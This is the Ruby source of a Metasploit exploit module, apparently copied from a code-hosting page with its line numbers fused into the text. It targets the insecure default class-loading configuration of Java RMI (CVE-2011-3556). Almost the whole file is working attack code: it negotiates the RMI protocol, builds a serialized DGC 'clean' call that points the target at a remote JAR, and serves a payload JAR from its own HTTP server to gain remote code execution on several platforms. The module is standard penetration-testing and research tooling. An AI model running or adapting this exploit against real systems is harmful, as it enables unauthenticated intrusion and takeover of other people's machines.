Path: blob/master/modules/exploits/multi/misc/java_rmi_server.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Java::Rmi::Client9include Msf::Exploit::Remote::HttpServer10include Msf::Exploit::Remote::CheckModule1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',17'Description' => %q{18This module takes advantage of the default configuration of the RMI Registry and19RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it20invokes a method in the RMI Distributed Garbage Collector which is available via every21RMI endpoint, it can be used against both rmiregistry and rmid, and against most other22(custom) RMI endpoints as well.2324Note that it does not work against Java Management Extension (JMX) ports since those do25not support remote class loading, unless another RMI endpoint is active in the same26Java process.2728RMI method calls do not support or require any sort of authentication.29},30'Author' => [ 'mihi' ],31'License' => MSF_LICENSE,32'References' => [33# RMI protocol specification34[ 'URL', 'http://web.archive.org/web/20110824060234/http://download.oracle.com:80/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],35[ 'URL', 'http://www.securitytracker.com/id?1026215'],36[ 'CVE', '2011-3556']37],38'DisclosureDate' => '2011-10-15',39'Platform' => %w{java linux osx solaris win},40'Privileged' => false,41'Payload' => { 'BadChars' => '', 'DisableNops' => true },42'Stance' => Msf::Exploit::Stance::Aggressive,43'DefaultOptions' => {44'CheckModule' => 'auxiliary/scanner/misc/java_rmi_server',45'WfsDelay' => 1046},47'Targets' => [48[49'Generic (Java Payload)',50{51'Platform' => ['java'],52'Arch' => ARCH_JAVA53}54],55[56'Windows x86 (Native Payload)',57{58'Platform' => 'win',59'Arch' => ARCH_X86,60}61],62[63'Linux x86 (Native Payload)',64{65'Platform' => 'linux',66'Arch' => ARCH_X86,67}68],69[70'Mac OS X PPC (Native Payload)',71{72'Platform' => 'osx',73'Arch' => ARCH_PPC,74}75],76[77'Mac OS X x86 (Native Payload)',78{79'Platform' => 'osx',80'Arch' => ARCH_X86,81}82]83],84'DefaultTarget' => 0,85'Notes' => {86'Reliability' => UNKNOWN_RELIABILITY,87'Stability' => UNKNOWN_STABILITY,88'SideEffects' => UNKNOWN_SIDE_EFFECTS89}90)91)92register_options([93Opt::RPORT(1099),94OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),95])96register_common_rmi_ports_and_services97end9899def exploit100begin101Timeout.timeout(datastore['HTTPDELAY']) { super }102rescue Timeout::Error103# When the server stops due to our timeout, re-raise104# RuntimeError so it won't wait the full wfs_delay105raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"106rescue Msf::Exploit::Failed107# When the server stops due primer failing, re-raise108# RuntimeError so it won't wait the full wfs_delays109raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"110rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e111# When the primer fails due to an error connecting with112# the rhost, re-raise RuntimeError so it won't wait the113# full wfs_delays114raise ::RuntimeError, e.message115end116end117118def primer119connect120121print_status("Sending RMI Header...")122send_header123ack = recv_protocol_ack124if ack.nil?125fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")126end127128jar = rand_text_alpha(rand(8) + 1) + '.jar'129new_url = get_uri + '/' + jar130131print_status("Sending RMI Call...")132dgc_interface_hash = calculate_interface_hash(133[134{135name: 'clean',136descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',137exceptions: ['java.rmi.RemoteException']138},139{140name: 'dirty',141descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',142exceptions: ['java.rmi.RemoteException']143}144]145)146147# JDK 1.1 stub protocol148# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)149# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))150send_call(151object_number: 2,152uid_number: 0,153uid_time: 0,154uid_count: 0,155operation: 0,156hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash157arguments: build_dgc_clean_args(new_url)158)159160return_value = recv_return161162if return_value.nil? && !session_created?163fail_with(Failure::Unknown, 'RMI Call failed')164end165166if return_value && return_value.is_exception? && loader_disabled?(return_value)167fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')168end169170if return_value && return_value.is_exception? && class_not_found?(return_value)171fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')172end173174disconnect175end176177def on_request_uri(cli, request)178if request.uri =~ /\.jar$/i179p = regenerate_payload(cli)180jar = p.encoded_jar181paths = [182[ "metasploit", "RMILoader.class" ],183[ "metasploit", "RMIPayload.class" ],184]185186jar.add_file('metasploit/', '') # create metasploit dir187paths.each do |path_parts|188path = ['java', path_parts].flatten.join('/')189contents = ::MetasploitPayloads.read(path)190jar.add_file(path_parts.join('/'), contents)191end192193send_response(cli, jar.pack,194{195'Content-Type' => 'application/java-archive',196'Connection' => 'close',197'Pragma' => 'no-cache'198})199200print_status("Replied to request for payload JAR")201cleanup_service202end203end204205def autofilter206return true207end208209def loader_disabled?(return_value)210return_value.value.each do |exception|211if exception.class == Rex::Java::Serialization::Model::NewObject &&212exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&213exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' &&214[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&215exception.class_data[1].contents.include?('RMI class loader disabled')216return true217end218end219220false221end222223def class_not_found?(return_value)224return_value.value.each do |exception|225if exception.class == Rex::Java::Serialization::Model::NewObject &&226exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&227exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'228return true229end230end231232false233end234235def build_dgc_clean_args(jar_url)236arguments = []237238new_array_annotation = Rex::Java::Serialization::Model::Annotation.new239new_array_annotation.contents = [240Rex::Java::Serialization::Model::NullReference.new,241Rex::Java::Serialization::Model::EndBlockData.new242]243244new_array_super = Rex::Java::Serialization::Model::ClassDesc.new245new_array_super.description = Rex::Java::Serialization::Model::NullReference.new246247new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new248new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')249new_array_desc.serial_version = 0x871300b8d02c647e250new_array_desc.flags = 2251new_array_desc.fields = []252new_array_desc.class_annotation = new_array_annotation253new_array_desc.super_class = new_array_super254255array_desc = Rex::Java::Serialization::Model::ClassDesc.new256array_desc.description = new_array_desc257258new_array = Rex::Java::Serialization::Model::NewArray.new259new_array.type = 'java.rmi.server.ObjID;'260new_array.values = []261new_array.array_description = array_desc262263arguments << new_array264arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")265266new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new267new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')268new_class_desc.serial_version = 0xa16544ba26f9c2f4269new_class_desc.flags = 2270new_class_desc.fields = []271new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new272new_class_desc.class_annotation.contents = [273Rex::Java::Serialization::Model::Utf.new(nil, jar_url),274Rex::Java::Serialization::Model::EndBlockData.new275]276new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new277new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new278279new_object = Rex::Java::Serialization::Model::NewObject.new280new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new281new_object.class_desc.description = new_class_desc282new_object.class_data = []283284arguments << new_object285286arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")287288arguments289end290end291292293